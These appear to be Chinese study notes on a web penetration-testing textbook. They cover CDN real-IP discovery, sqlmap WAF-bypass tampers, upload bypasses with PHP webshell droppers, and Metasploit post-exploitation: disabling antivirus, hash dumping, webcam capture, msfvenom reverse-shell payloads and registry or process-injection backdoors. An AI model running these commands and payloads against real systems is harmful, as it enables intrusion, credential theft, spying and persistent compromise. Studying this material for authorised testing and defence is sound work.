前言
本文记录书中一些不甚熟悉以及其他扩展的技巧tips,欢迎纠错和交流。
进行渗透测试之前,最重要的一步就是信息收集,在这个阶段,我们要尽可能地收集目标的信息。所谓“知己知彼,百战不殆”,我们越是了解测试目标,测试的工作就越是容易。本章主要介绍了域名及子域名信息收集﹑查找真实IP﹑CMS指纹识别﹑目标网站真实IP﹑常用端口的信息收集等。
域名信息
nslookup
whois
天眼查
敏感信息
谷歌语法
看burpsuite的response包
子域名
https://dnsdumpster.com/、在线dns侦查、
指纹识别
工具:御剑web指纹识别,what web,webrobo,椰树,轻量web指纹识别,
在线网站:Bugscaner、云悉指纹、whatweb
查找真实ip
不存在cdn:http://www.ip138.com/
cdn:先用https://www.17ce.com/多地区ping
绕过方式:
-
内部邮箱源,ping邮件服务器的域名
-
扫描测试文件 phpinfo
-
分站域名: 主站挂cdn,分站未挂,二级域名突破口
-
国外访问:国内的cdn只针对国内用户访问加速,国外不一定 通过国外在线代理网站:https://asm.ca.com/en/ping.php
-
查询域名解析记录。https://www.netcraft.com/
-
网站有app,burpsuit抓包
-
绕过CloudFlare CDN查找真实IP。CloudFlare Watch
-
用 Zmap 扫全网
『我们首先从 apnic 获取 IP 段,然后使用 Zmap 的 banner-grab 扫描出来 80 端口开放的主机进行 banner 抓取,最后在 http-req 中的 Host 写 xiaix.me』(其中xiaix.me是需要寻找真实IP的域名)。说到这个,我就想起了shodan,zoomeye。虽然他们都很强大地能够搜索到全球的IP banner信息,http的banner信息,但是却不能搜索网页代码。
有没有一种搜索可以搜索网页标题、内容的方法,这样,我就能找到哪写服务器上运行的网站是与我要找的一致,就能找出真实的服务器IP。在圈子里混,朋友推荐一个新的IOT搜索引擎,跟前面提到的两个相似,叫fofa,WWW.FOFA.SO。这个东西优点是支持HTML源代码检索。
举例:找到www.5173.com的真实IP
使用ping命令,返回信息有『49k6959vz6ea10u8.alicloudsec.com (218.11.3.155)』,这及时试用了某CDN服务的信号。
ping www.5173.com 正在 Ping 49k6959vz6ea10u8.alicloudsec.com [218.11.3.155] 具有 32 字节的数据: 来自 218.11.3.155 的回复: 字节=32 时间=34ms TTL=33 来自 218.11.3.155 的回复: 字节=32 时间=36ms TTL=33 来自 218.11.3.155 的回复: 字节=32 时间=32ms TTL=33 来自 218.11.3.155 的回复: 字节=32 时间=31ms TTL=33
218.11.3.155 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 31ms,最长 = 36ms,平均 = 33ms
访问www.5173.com,源代码内显示标题有很特别的内容『网络游戏交易平台|手游交易|装备交易|游戏币交易|帐号交易|点卡充值|代练服务-是国内最权威最安全的游戏交易平台-5173.com』,包含有根域名5173.com,这种title是非常特殊的,用来检索,就能找到WWW.5173.COM的真实IP
查看www.5173.com的标题
将这个标题内容作为关键词搜索,使用语法『title=”网络游戏交易平台|手游交易|装备交易|游戏币交易|帐号交易|点卡充值|代练服务-是国内最权威最安全的游戏交易平台-5173.com”』

在FOFA上搜索到3个网站包含指定标题
在FOFA上搜索到www.5173.com的IP
最后,访问http://218.11.3.155,如果网站可以打开,内容与www.5173.com是一致的,那么这就是真实IP;如果网站不可以打开,有可能这个是CDN,也有可能是一个虚拟主机服务器。使用ip=="218.11.3.155"
搜索这个IP上的全部服务和网站,显示全是5173.com结尾的域名,基本确认这是真实ip,且是5173.com的主要网站服务器。

查看『218.11.3.155』上的所有网站和服务
收集敏感目录
spinder.py、http://www.webscan.cc/、dirbuster
第2章 搭建漏洞环境及实战
白帽子在目标对象不知情或者没有得到授权的情况下发起的渗透攻击是非法行为,所以我们通常会搭建一个有漏洞的Web应用程序,以此来练习各种各样的安全渗透技术。本章主要介绍了Linux系统下的LANMP﹑Windows系统下的WAMP应用环境的搭建,DVWA漏洞平台﹑SQL注入平台﹑XSS测试平台等常用渗透测试漏洞练习平台的安装配置及实战。
第3章 常用工具
“工欲善其事,必先利其器”,在日常的渗透测试中,借助一些工具,白帽子可以更高效地执行安全测试,这能极大地提高工作的效率和成功率。本章详细介绍了黑客常用的三大神器SQLMap﹑Burp Suite﹑Nmap的安装﹑入门和实战利用,实为“居家旅行”﹑渗透测试之必备工具。
sqlmap
--os-shell --os-shell 运行任意系统操作命令
sqlmap -u "url" --file-read "C:/example.exe" -v 1 从数据可服务器中读取文件
--file-write --file-dest :上传文件到数据服务器中
--identify -waf 是否有安全防护 (waf/IDS/IPS)
sqlmap tamper:
使用方法:
sqlmap.py XXXXX -tamper "模块名"
各个 tamper 的作用
下面针对 sqlmap 自带的 tamper 做一下简单的解释。
apostrophemask.py:
return payload.replace(''', "%EF%BC%87") if payload else payload
apostrophemask.py 用UTF-8全角字符替换单引号字符 ,用于过滤了单引号的情况。
1' AND '1'='1 to 1%EF%BC%87 AND %EF%BC%871%EF%BC%87=%EF%BC%871
适用数据库:ALL
apostrophenullencode.py:
return payload.replace(''', "%00%27") if payload else payload
将单引号替换为宽字节 unicode 字符,用于过滤了单引号的情况
1' AND '1'='1 to 1�' AND �'1�'=�'1
适用数据库:ALL
appendnullbyte.py:
return "%s%%00" % payload if payload else payload
在你构造的payload后面加一个空字符
1' AND '1'='1 to 1' AND '1'='1[]
适用数据库:Access
base64encode.py:
return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload
这个看模块名也知道是 base64 编码
1' AND '1'='1 to MScgQU5EICcxJz0nMQ==
适用数据库:ALL
between.py:
这个代码有点长,就不贴代码了,可以自己去查看:C:\Python\SQLMap\tamper\between.py
将大于符号和等号用 between 语句替换,用于过滤了大于符号和等号的情况
1 AND A > B to 1 AND A NOT BETWEEN 0 AND B
1 AND A = B to 1 AND A BETWEEN B AND B
适用数据库:ALL
bluecoat.py:
用随机的空白字符代替空格,并且将等号替换为 like ,用于过滤了空格和等号的情况
union select from users where id = 1 to union%09select from%09users where id like 1
适用数据库:MySQL 5.1, SGOS
chardoubleencode.py:
用 url 编码两次你的 payload
select * from users to %2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2575%2573%2565%2572
适用数据库:ALL
charencode.py:
用 url 编码一次你的 payload
select * from users to %73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72
适用数据库:ALL
charunicodeencode.py:
用 unicode 编码 payload ,只编码非编码字符
select * from users to \u0073\u0065\u006c\u0065\u0063\u0074\u0020\u002a\u0020\u0066\u0072\u006f\u006d\u0020\u0075\u0073\u0065\u0072\u0073
适用数据库:ALL,但是需要 asp 和 asp.net 环境
commalesslimit.py:
将 payload 中的逗号用 offset 代替,用于过滤了逗号并且是两个参数的情况
limit 2,1 to limit 1 offset 2
适用数据库:MySQL
commalessmid.py:
将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是三参数的情况
mid(version(), 1, 1) to mid(version() from 1 for 1)
适用数据库:MySQL
retVal = re.sub(r"\b(\w+)(", "\g<1>/**/(", retVal)
在某个单词后的第一个括号前面加入 /**/ ,用于过滤了函数的情况
union select group_concat(table_name) to union select group_concat/**/(table_name)
适用数据库:ALL
concat2concatws.py:
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")
用于过滤了 concat 函数的情况
concat(1,2) to concat_ws(mid(char(0), 0, 0), 1, 2)
适用数据库:MySQL
equaltolike.py:
retVal = re.sub(r"\s=\s", " LIKE ", retVal)
将等号用 like 代替,用于过滤了等号的情况
select from users where id=1 to select from users where id like 1
适用数据库:ALL
escapequotes.py:
return payload.replace("'", "'").replace('"', '"')
将单引号转换成 \' ,双引号转换成 \" ,用于过滤了单引号或双引号的情况
1' and 1=1--+ to 1\' and 1=1--+
适用数据库:ALL
greatest.py:
用 greatest 代替大于符号,用于大于符号被过滤了的情况
1 and a>b to 1 and greatest(a,b+1)=a
ALL
halfversionedmorekeywords.py:
在关键字前添加注释,用于过滤了关键字的情况
union select 1,2 to /!0union/!0select 1,2
适用数据库:MySQL < 5.1
htmlencode.py:
return re.sub(r"\w", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload
从名字就知道是将 payload 进行 html 编码
1' and 1=1--+ to
适用数据库:ALL
ifnull2ifisnull.py:
将 ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况
ifnull(1, 2) to if(isnull(1), 2, 1)
适用数据库:MySql
retVal = re.sub(r"(?i)(information_schema).", "\g<1>/**/.", payload)
在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况
select table_name from information_schema.tables to select table_name from information_schema/**/.tables
适用数据库:ALL
lowercase.py:
将 payload 里的大写转为小写
UNION SELECT to union select
适用数据库:ALL
modsecurityversioned.py:
用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf
1 and 2>1--+ to 1 /!30874and 2>1/--+
适用数据库:MySQL
modsecurityzeroversioned.py:
用注释来包围完整的查询语句,用于绕过 waf ,和上面类似
1 and 2>1--+ to 1 /!00000and 2>1/--+
适用数据库:MySQL
multiplespaces.py:
在关键字周围添加多个空格
union select 1,2--+ to union select 1,2--+
适用数据库:ALL
nonrecursivereplacement.py:
关键字双写,可用于关键字过滤
union select 1,2--+ to uniounionn selecselectt 1,2--+
适用数据库:ALL
overlongutf8.py:
这个不是很懂,也去网上搜了下,都说是”转换给定的 payload 当中的所有字符“,类似空格大于小于这种
select field from table where 2>1 to select%C0%AAfield%C0%AAfromtable%C0%AAwhere%C0%AA2%C0%BE1
适用数据库:ALL
percentage.py:
用百分号来绕过关键字过滤,具体是在关键字的每个字母前面都加一个百分号
select from users to %s%e%l%e%c%t %f%r%o%m %u%s%e%r%s
适用数据库:ALL, 但是需要 ASP 环境
plus2concat.py:
用 concat 函数来替代加号,用于加号被过滤的情况
select char(13)+char(114)+char(115) from user to select concat(char(113),char(114),char(115)) from user
适用数据库:SQL Server 2012+
plus2fnconcat.py:
用 fn concat 来替代加号,和上面类似
select char(13)+char(114)+char(115) from user to select {fn concat({ fn concat(char(113),char(114))},char(115))} from user
适用数据库:Microsoft SQL Server 2008+
randomcase.py:
将 payload 随机大小写,可用于大小写绕过的情况
union select 1,2--+ to UniOn SElect 1,2--+
适用数据库:ALL
在 payload 的关键字中间随机插入 /**/ ,可用于绕过关键字过滤
union select 1,2--+ to un//ion sele//ct 1,2--+
适用数据库:ALL
securesphere.py:
return payload + " and '0having'='0having'" if payload else payload
在 payload 后面加入字符串,可以自定义
1' and 1=1 to 1' and 1=1 '0having'='0having'
适用数据库:ALL
sp_password.py:
retVal = "%s%ssppassword" % (payload, "-- " if not any( if in payload else None for in ('#', "-- ")) else "")
在 payload 语句后添加 ssp_password ,用于迷惑数据库日志
1’ and 1=1--+ to 1 and 1=1-- sp_password
适用数据库:MSSQL
用 /**/ 替代空格,用于空格的绕过
union select 1,2--+ to union//select//1,2--+
适用数据库:ALL
space2dash.py:
用注释符--和一个随机字符串加一个换行符替换控制符
?union select 1,2--+ to union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+
适用数据库:MSSQL、 SQLite
space2hash.py:
和上面类似,不过这儿是用#注释符
union select 1,2--+ to union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+
适用数据库:MySQL
将空格用 /_/ 替代
union select 1,2--+ to union/_/select/_/1,2--+
适用数据库:ALL
space2morehash.py:
和 space2hash.py 类似,但是这儿多一个 # 和换行符,具体看一下对比:
space2hash.py: union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A1,2--+
space2morehash.py:union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+
适用数据库:MySQL >= 5.1.13
space2mssqlblank.py:
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
用这些随机空白符替换 payload 中的空格
union select 1,2--+ to union%01select%021,2--+
适用数据库:SQL Server
space2mssqlhash.py:
用 # 加一个换行符替换 payload 中的空格
union select 1,2--+ to union%23%0Aselect%23%0A1,2--+
适用数据库:MSSQL、MySQL
space2mysqlblank.py:
blanks = ('%09', '%0A', '%0C', '%0D', '%0B')
用这些随机空白符替换payload中的空格
union select 1,2--+ to union%09select%0D1,2--+
适用数据库:MySQL
space2mysqldash.py:
用 -- 加一个换行符替换空格
union select 1,2--+ to union--%0Aselect--%0A1,2--+
适用数据库:MySQL、MSSQL
space2plus.py:
用 + 替换空格
union select 1,2--+ to union+select+1,2--+
适用数据库:ALL
space2randomblank.py:
blanks = ("%09", "%0A", "%0C", "%0D")
用这些随机空白符替换 payload 中的空格
union select 1,2--+ to union%09select%0C1,2--+
适用数据库:ALL
symboliclogical.py:
retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))
用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况
1 and 1=1 to 1 %26%26 1=1
1 or 1=1 to 1 %7c%7c 1=1
适用数据库:ALL
unionalltounion.py:
return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload
用 union select 替换union all select
union all select 1,2--+ to union select 1,2--+
适用数据库:ALL
unmagicquotes.py:
用宽字符绕过 GPC addslashes
1‘ and 1=1 to 1%df%27 and 1=1--
适用数据库:ALL
uppercase.py:
将 payload 大写
union select to UNION SELECT
适用数据库:ALL
varnish.py:
headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload
添加一个 HTTP 头 “ X-originating-IP ” 来绕过 WAF
还可以自定义:
X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)X-remote-IP: TARGET_PROXY_IP (184.189.250.X)X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)X-remote-IP: * or %00 or %0A
适用数据库:ALL
versionedkeywords.py
对不是函数的关键字进行注释
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
to
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENTUSER()/!AS//!CHAR_/),CHAR(32)),CHAR(58,100,114,117,58))#
适用数据库:MySQL
versionedmorekeywords.py:
注释每个关键字
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
to
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/_!CURRENTUSER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
适用数据库:MySQL >= 5.1.13
xforwardedfor.py:
headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload
添加一个伪造的 HTTP 头 “ X-Forwarded-For ” 来绕过 WAF
适用数据库:ALL
Web渗透的核心技术包括SQL注入﹑XSS攻击﹑CSRF攻击﹑SSRF攻击﹑暴力破解﹑文件上传﹑命令执行漏洞攻击﹑逻辑漏洞攻击﹑XXE漏洞攻击和WAF绕过等。本章依次将这些常见高危漏洞提取出来,从原理到利用,从攻击到防御,一一讲解。
● SQL注入漏洞,讨论各种攻击手法,从最明显﹑最简单的方法到一系列高级攻击技巧,包括SQL注入绕过技术;
● XSS攻击,讲解了XSS的形成原理﹑三种XSS类型﹑XSS常用语句﹑XSS编码绕过以及任何使用XSS平台测试XSS,最后提出了对XSS漏洞的修复意见;
以及CSRF漏洞﹑SSRF漏洞﹑XXE漏洞﹑暴力破解漏洞﹑命令执行漏洞﹑文件上传漏洞﹑逻辑漏洞的形成原理﹑漏洞利用﹑代码分析,以及要如何对它们进行修复。
sql注入中tips
布尔型注入使用burp爆破以代替手注


宽字节注入原因:
数据库使用GBK,被转义符转义,
加上%df。反斜杠是%5c,连接再一起%df%5c
base64注入
id=1
变为id=MQ%3d%3d
访问1’即为id=MSc%3d 注入的语句都使用base64编码
XFF注入
x-forward-for注入
代码分析
php中的getenv()函数用于获取一个环境变量的值,类似于$_server或者$_ENV
返回环境变量对应的值,如果环境变量不存在则返回false
绕过waf
大小写绕过
And Order
双写绕过
anandd绕过and过滤
编码绕过
url全编码
两次url全编码
内联注释
/!and/
sql防御
1.过滤危险字符
2.使用预编译
pdo预编译
xss
dom xss是基于dom文档对象模型的
xss绕过编码:js编码,html实体编码,url编码
文件上传
文件后缀绕过
Apache 解析漏洞
有些Apache允许解析其他文件后缀的,例如在http.conf中,如果配置如下代码
AddType application/x-httpd-php .php .phtml
所以可以上传一个后缀为phtml的Webshell。
-
解析:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
- 描述:若一个文件名
abc.x1.x2.x3
,Apache
会从x3
开始解析,如果x3
不是一个能解析的扩展名,就往前解析x2
以此往复,直到能遇到一个能解析的文件名为止
文件截断绕过
截断条件:php版本小于5.3.4 php的magic_quotes_gpc为OFF
假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00) 而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg
实际操作:1.php%00.jpg
选中%00进行url编码

或者 test.asp .jpg 去burp hex中20更改00
服务端检测绕过(文件类型MIME 类型检测)

修改Content-Type 为image/jpeg
服务端验证绕过(文件完整性检测)
- 文件头检测 主要是在文件内容开始设置好图片文件的幻数 要绕过 jpg 文件检测就要在文件开头写上下图的值

在php中还存在一种类似的文件上传绕过,php函数getimagesize(可以获取图片的宽高等信息,如果上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传。
但是可以讲一个图片和一个webshell合并为一个文件,例如使用以下命令,
cat image.png webshell.php > image.php
copy 1.jpg/b+lubr.php/a 1lubr.jpg
此时使用getimagesize()就获取到图片信息,且webshell的后缀是php也能被Apache解析为脚本文件
服务端检测绕过(文件扩展名检测)
-
黑名单检测
-
文件名大小写绕过 用像 AsP,pHp 之类的文件名绕过黑名单检测
-
名单列表绕过 用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类.还有php2、php3、
-
特殊文件名绕过 比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。
-
0x00 截断绕过
截断条件:php版本小于5.3.4 php的magic_quotes_gpc为OFF
假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00) 而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg
实际操作:1.php%00.
jpg
选中%00进行url编码

或者 test.asp .jpg 去burp hex中20更改00
-
htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测
该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:
<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>
保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。该文件在Apache里默认是启用的,如果没启用,启用方法见:http://www.jb51.net/article/25476.htm 然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成php执行。该方法其实不是漏洞,是Apache的特性。该方法常用于黑客入侵网站之后,不想被发现,留一个隐蔽的后门。在PHP手册中提到一句话,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服务器端如果采用了黑名单的形式限制上传,但是黑名单中却没有.htaccess文件,那么我们可以上传.htaccess文件覆盖掉原来的文件。
- 解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
-
白名单检测
- .htaccess 文件攻击
服务端检测绕过(文件内容检测)

只需要把文件头部分伪造好就 ok
GIF89a
<?php phpinfo();?>
服务器解析漏洞
Apache 解析漏洞
-
解析:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
- 描述:若一个文件名
abc.x1.x2.x3
,Apache
会从x3
开始解析,如果x3
不是一个能解析的扩展名,就往前解析x2
以此往复,直到能遇到一个能解析的文件名为止
IIS 解析漏洞
解析:test.asp/jkl
,IIS
的某些版本中会直接当成asp
来解析;test.asp;jkl
,IIS
某些版本也会按照asp
来解析;任意文件名/任意文件名.php
,IIS
某些版本会直接当php
来解析
描述:
IIS5.x/6.0解析漏洞
1.IIS6.0
在解析asp
时有两个解析漏洞,一个是如果任意目录名包含.asp
字符串,那么这个目录下的所有文件都会按照asp
去解析,另一个是文件名中含有asp;
就会优先当作asp
来解析
利用方法有两种:
1. 畸形目录解析
/xxxx.asp/xxx.jpg
2. 分号文件解析
test.asp;.jpg
IIS7.0/7,5
在默认Fast-CGI开启状况下
2.IIS7.0/7.5
对php解析有类似Nginx
的解析漏洞只要对任意文件名在url后面追加上字符串/任意文件名.php
就会按照php去解析
上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php
Nginx 解析漏洞
-
解析:
-
任意文件名/任意文件名.php
将shell语句,如
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后
copy xx.jpg/b + xx.txt/a test.jpg
上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php
-
任意文件名%00.php都当作php来解析
xx.jpg%00.php
-
描述:例如原文件名test.jpg但内容包含php一句话添加为test.jpg/x.php来进行解析攻击低版本可以子任意文件名后添加%00.php进行截断攻击
-
对应版本:
nginx 0.5.* [Success]
nginx 0.6.* [Success]
nginx 0.7 = 0.7.65 [Success]
nginx 0.8 = 0.8.37 [Success]
竞争条件攻击
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否含有webshell,如果包含则删除。
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个PHP文件Mang0.php,内容为:
<?php fputs(fopen("./shell.php", "w"), '<?php @eval($_POST["Mang0"]) ?>'); ?>
当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的PHP的文件,利用时间差完成了webshell的上传。
防御:
-
通过白名单
- 对上传的文件进行重命名,例如rand(10,99)data("Mango").".jpg"
逻辑漏洞
未授权访问
非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。尝试将一些敏感的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。
越权访问
垂直越权
垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)。
水平越权
水平越权(水平越权是指相同权限的不同用户可以互相访问)。
id=1是一个用户信息 改为id=2可以看到另一个用户信息
Metasploit是近年来最强大﹑最流行和最有发展前途的开源渗透测试平台软件之一。它完全颠覆了已有的渗透测试方式。本章详细介绍了Metasploit的攻击步骤﹑信息收集﹑漏洞分析﹑漏洞利用﹑权限提升﹑移植漏洞代码模块,以及如何建立后门的实践方法。并通过具体的内网域渗透测试实例,来分析如何通过一个普通的WebShell权限一步一步获取域管权限,最终畅游整个内网。
模块
模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。 分为
Aux(辅助模块)
Exploit(攻击模块)
Payloads(攻击载荷模块)
POST(后期渗透模块)
Encoders(编码器模块)
常见命令
-
启动metasploit(命令行模式) :msfconsole
-
升级metasploit:msfupdate
-
查看命令使用帮助信息:help [COMMAND]
-
搜索模块:search
[模块名 //(search ms08-067)
-
选择模块:use xxx/xxx/xxx
-
查看模块信息:info
-
查看攻击载荷:show payloads
-
设置攻击载荷:set payload xxx/xxx/xxx
-
查看需要设置的配置参数:show options
-
设置配置参数:set XXXX xxxxxx
-
开始攻击:exploit
-
退出当前模块:back
- 退出msf :
exit
主机扫描
search portscan
nmap -O -Pn/p0 192.168.11.251 不使用ping 可以穿透防火墙,皮面被防火墙发现
0x00 进程迁移
刚获得meterpreter shell时,改shell极其脆弱
下一步要移动shell使他和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样渗透更难被检测到
-
meterpreter > ps
pid PPID Name
448 3028 explore.exe
984 448 138.exe
-
meterpreter > geipid 获得meterpreter shell的进程号pid984
-
meterpreter > migrate 448 这样把shell移动到Explore.exe进程里。
-
meterpreter > getpid
current pid:448
- 进程迁移完成后 原先pid为984会自动关闭 ,如果没有则可输入 kill 984 杀掉
0x01 系统命令
sysinfo
run post/windows/gather/checkvm 检查目标机是否允许在虚拟机上
route 查看完整网络配置
run post/windows/manage/killav 命令关闭目标机杀毒软件
run post/windows/manage/enable_rdp 开启目标机远程桌面协议
run post/windows/manage/autoroute 查看网络结构
background隐藏meterpreter
然后输入 route add 命令添加路由,添加成功后输入route print命令查看,
可以看到192.168.172.0路由已经
run post/windows/gather/enum_logged_on_users 命令列举当前有多少用户登录了目标机
run post/windows/gather/enum_applications 列举安装在目标机上的应用程序
run post/windows/gather/credentials/windows_autologin 抓取字典登录的用户名和密码
meterpreter >screengrab 抓取目标机的屏幕
网络摄像头摄像头命令
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
输入shell 进入目标机shell
exit 停止meterpreter会话
文件系统命令
search -f *.txt -d c:\ 搜索c盘中所有以.txt为扩展名
download c:\test.txt/root 下载c盘中的test.txt文件到攻击机root下
upload /tmp/hack.txt C:\ 上传文件到目标机上
提权
meterpreter > shell
whoami/groups
getuid 查看已经获得的权限
1)getsystem提权
getsystem
getsystem工作原理: ①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名 管道.②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接 .③Windows服务已启动,导致与命名管道建立连接 .④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。 然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。
失败使用
sysinfo查看已打补丁
search 其他未打补丁的漏洞
令牌窃取
Token
kerberos是一种网络认证协议,通过密钥系统为客户端/服务器应用程序提供强大的认证服务:保护服务器防止错误的用户使用,同时保护它的用户使用正确的服务器,即支持双向验证。
假冒令牌实战
-
meterpreter > getuid 查看已获得权限
-
meterpreter > getsystem 失败
-
meterpreter > use incognito
-
list_tokens -u 列出可用的 token,
- impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token 或者impersonate_token NT\ AUTHORITY\SYSTEM #不加单引号 需使用\
获取哈希
一、hashdump
run post/windows/gather/smart_hashdump #从SAM导出密码哈希 需要SYSTEM权限
二、使用Quarks PwDump
三、使用windows credentials editor
upload /root/wce.exe c:\
shell
四、使用mimikatz

2)bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
如使用bypassuac.rb脚本:
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run
移植利用github 其他poc
-
git clone
-
复制 *.rb到/usr/share/metasploit-framework/modules/exploits/windows/smb下,
-
ls查看是否加载完成
-
reload_all
-
search *
-
use
-
攻击之前先生成一个dll 文件,如果目标机是32就生成32位dll
-
免杀使用powershell下的empire生成dll,
-
64位使用:msfVENOM -p windows/x64/meterpreter/reverse_tcp lhost=192.168.31.147 lport=3333 -f dll -o ~/eternal11.dll
32位使用: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.147 lport=3333 -f dll -o ~/eternal11.dll
- exploit
0x03 后门
后门工具Cymothoa
Cymothoa是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。由于该工具基于ptrace库,所以适合各种类Unix系统。该工具提供14种攻击载荷,可以实现各种攻击和后门。由于该后门是基于进程注入,所以当原有进程结束,后门也会被关闭。所以,渗透测试必须结合自启动脚本,注入到自启动服务中(如Web服务),才能使Cymothoa的脚本持久有效。
但是如果进程关闭或者重启,后门就停止运行。
-
ps -aux 查看程序的pid (windows使用 tasklist)
-
Cymothoa -p(目标进程pid) 982 -s(shellcode编号) 1-y 3333(指定payload服务端口)
- nc -nvv 192.168.31.47 4444
persistence
run persistence -h
run persistence -A -S -U -i 60 -p 4231 -r 192.168.172.138
选项:
-P:设置Payload,默认为windows/meterpreter/reverse_tcp。该默认的payload生成的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行;
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。因此,在非管理员权限或者未进行BypassUAC操作情况下,不推荐使用该参数;
-i:设置反向连接间隔时间,单位为秒。当设置该参数后,目标机器会每隔设置的时间回连一次所设置的ip;
-p:设置反向连接的端口号。即黑阔用来等待连接的端口;
-r:设置反向连接的ip地址。即黑阔用来等待连接的ip;
web后门
meterpreter后门
-
